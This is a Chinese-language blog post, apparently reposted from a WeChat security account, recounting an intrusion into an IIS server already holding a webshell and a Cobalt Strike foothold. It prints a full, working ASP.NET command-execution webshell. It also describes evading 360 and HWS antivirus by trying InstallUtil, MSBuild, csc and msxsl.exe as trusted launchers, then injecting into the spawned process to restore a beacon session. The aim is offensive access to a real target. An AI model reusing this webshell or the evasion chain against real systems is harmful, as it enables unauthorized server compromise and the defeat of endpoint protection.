起因是拿了条shell,IIS服务器,无法执行系统命令,仅能看文件和ps命令,CS是使用.net的shellcode加载上线。
cs是上线了,但好像又没完全上线,如下图:
可以看到是有个360,下面是执行命令被拦截:
屡建奇功的powerpick也不好使了,于是决定仔细看看进程列表
按理说光是360拦截不了这么死才对:
PID PPID Name Arch Session User
---- ---- ---- ------- -----
0 0 [System Process]
4 0 System
532 840 dwm.exe
604 4 smss.exe
672 840 LogonUI.exe
692 880 svchost.exe
716 880 svchost.exe
728 716 csrss.exe
780 772 csrss.exe
788 716 wininit.exe
840 772 winlogon.exe
880 788 services.exe
888 788 lsass.exe
944 880 svchost.exe
972 880 svchost.exe
992 880 svchost.exe
1064 880 ZhuDongFangYu.exe
1128 880 svchost.exe
1292 880 svchost.exe
1344 944 ChsIME.exe
1512 880 spoolsv.exe
1568 880 svchost.exe
1588 880 svchost.exe
1620 880 FileZilla Server.exe
1680 880 hws.exe
1768 880 hwsd.exe
1796 880 inetinfo.exe
1980 880 MsDtsSrvr.exe
2132 880 mqsvc.exe
2872 880 sqlservr.exe
2936 880 msmdsrv.exe
3016 880 SMSvcHost.exe
3464 880 ReportingServicesService.exe
3864 880 sqlwriter.exe
3888 880 svchost.exe
3900 880 SMSvcHost.exe
3904 880 svchost.exe
4592 18576 360chrome.exe
5956 880 fdlauncher.exe
5992 880 svchost.exe
6148 880 svchost.exe
6180 5956 fdhost.exe
6220 6180 conhost.exe
7844 7836 csrss.exe
7872 7836 winlogon.exe
8060 7872 dwm.exe
8728 716 taskhostex.exe
8756 716 readertray.exe
8820 9092 HwsPanel.exe
8824 1064 360tray.exe
8840 5992 rdpclip.exe
8884 944 ChsIME.exe
8940 8932 explorer.exe
9840 9328 MultiTip.exe
10060 8756 msgcenter.exe
10500 880 msdtc.exe
11288 944 WmiPrvSE.exe
11496 8940 InetMgr.exe
15676 24436 GameChrome.exe
15688 30716 ctfmon.exe
16504 3904 w3wp.exe
16968 24436 GameChrome.exe
17628 8824 360Clock.exe
18292 24436 GameChrome.exe
18576 8940 360chrome.exe
19156 20008 SDIS.exe
20940 3904 w3wp.exe
21824 18576 360chrome.exe
21868 18576 360chrome.exe
22972 18576 360chrome.exe
24436 17628 GameChrome.exe
24896 18576 360chrome.exe
25808 3904 w3wp.exe x64 0 IIS APPPOOLxx
26520 3904 w3wp.exe
27904 3904 w3wp.exe
27908 944 ChsIME.exe
30536 944 explorer.exe
30716 19156 explorer.exe
31632 24436 GameChrome.exe
33480 3904 w3wp.exe
37852 3904 w3wp.exe
39668 3904 w3wp.exe
查了半天,似乎是360+护卫神防入侵,于是掏出珍藏已久的裸CMD马:
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
protected void FbhN(object sender, EventArgs e) {
try {
Process ahAE = new Process();
ahAE.StartInfo.FileName = kusi.Value;
ahAE.StartInfo.Arguments = bkcm.Value;
ahAE.StartInfo.UseShellExecute = false;
ahAE.StartInfo.RedirectStandardInput = true;
ahAE.StartInfo.RedirectStandardOutput = true;
ahAE.StartInfo.RedirectStandardError = true;
ahAE.Start();
string Uoc = ahAE.StandardOutput.ReadToEnd();
Uoc = Uoc.Replace("<", "<");
Uoc = Uoc.Replace(">", ">");
Uoc = Uoc.Replace("rn", "<br>");
tnQRF.Visible = true;
tnQRF.InnerHtml = "<hr width="100%" noshade/><pre>" + Uoc + "</pre>";
} catch(Exception error) {
Response.Write(error.Message);
}}
</script>
<html>
<head>
<title>Asp.Net SafeDog CmdShell</title>
</head>
<body>
<form id="cmd" method="post" runat="server">
<div runat="server" id="vIac">
<p><input class="input" runat="server" id="kusi" type="text" size="100" value="c:windowssystem32cmd.exe" /> </p>
<input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100" />
<asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" />
<div id="tnQRF" runat="server" visible="false" enableviewstate="false">
</div>
</div>
</form>
</body>
</html>
那么开绕
猪猪侠眉头一皱发觉事情并不简单
首先是替换默认的CMD的根路径,这里用32位的cmd尝试
C:WindowsSysWOW64cmd.exe
一看就是360拦截了嘛,没逝,但是在事后我尝试复现模拟环境的时候,发现并不是360拦截的,是HWS,禁止创建进程,如下图:
这.... 回过头再来看CS究竟哪里触发了天条
似乎有点东西啊,这更坚定了我绕过的决心
考虑到创建进程都会被拦截,和免杀不免杀的关系其实不大。
于是第一时间想到白加黑的方式,只要白加黑跨父进程W3WP,那么就一定可以成功。
于是
## 被360拦截
C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exe
C:WindowsMicrosoft.NETFramework64v3.5MSBuild.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe
## 360不拦截,但无法利用的
C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exe
C:WINDOWSMicrosoft.NETFrameworkv3.5csc.exe
于是
操!
互联网上翻翻找找,找到了msxsl.exe这个东东
C:UsersPublicMusicmsxsl.exe C:UsersPublicMusicargv1.xml C:UsersPublicMusicJScript.xml
刷新了一下CS的进程列表
新建了一个进程,下图是未逃逸的进程
新进程产生后,直接走进程注入,spawn一个新的session,回连到CS,绕过完成。
进程注入上线,原进程是cmd.exe这个
执行命令看看
完美,逃逸成功
事后复盘的时候我安装了最新版本360和hws防入侵,但是使用上面的方法,居然???没有绕过?????!!!!
找了一下原因,是因为最新版的360把msxsl.exe给拦截了,What fuck?
又去翻找了一下大佬的文章
https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
测试了几次,发现护卫神对于msxsl.exe以及Msbuild等确实是白名单(拒绝访问是因为360的原因),这里我用的Msbuild简单的复现:
但执行shellcode提示:
“未经处理的异常: System.AccessViolationException: 尝试读取或写入受保护的内存。这通常指示其他内存已损坏。”
虽然执行不了,但是会产生一个假死的MSbuild进程
问题不大,只要进程创建了就好办,老办法,进程注入(只要上线,360不会拦这个)
但是,由于目前msxsl.exe和msbuild都会被被360拦截,因此有两条路,针对互补的安全软件:
-
自己挖白利用
-
绕360,慢慢绕
原文始发于微信公众号(JC的安全之路):记一次艰难的上线和杀软Bypass
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论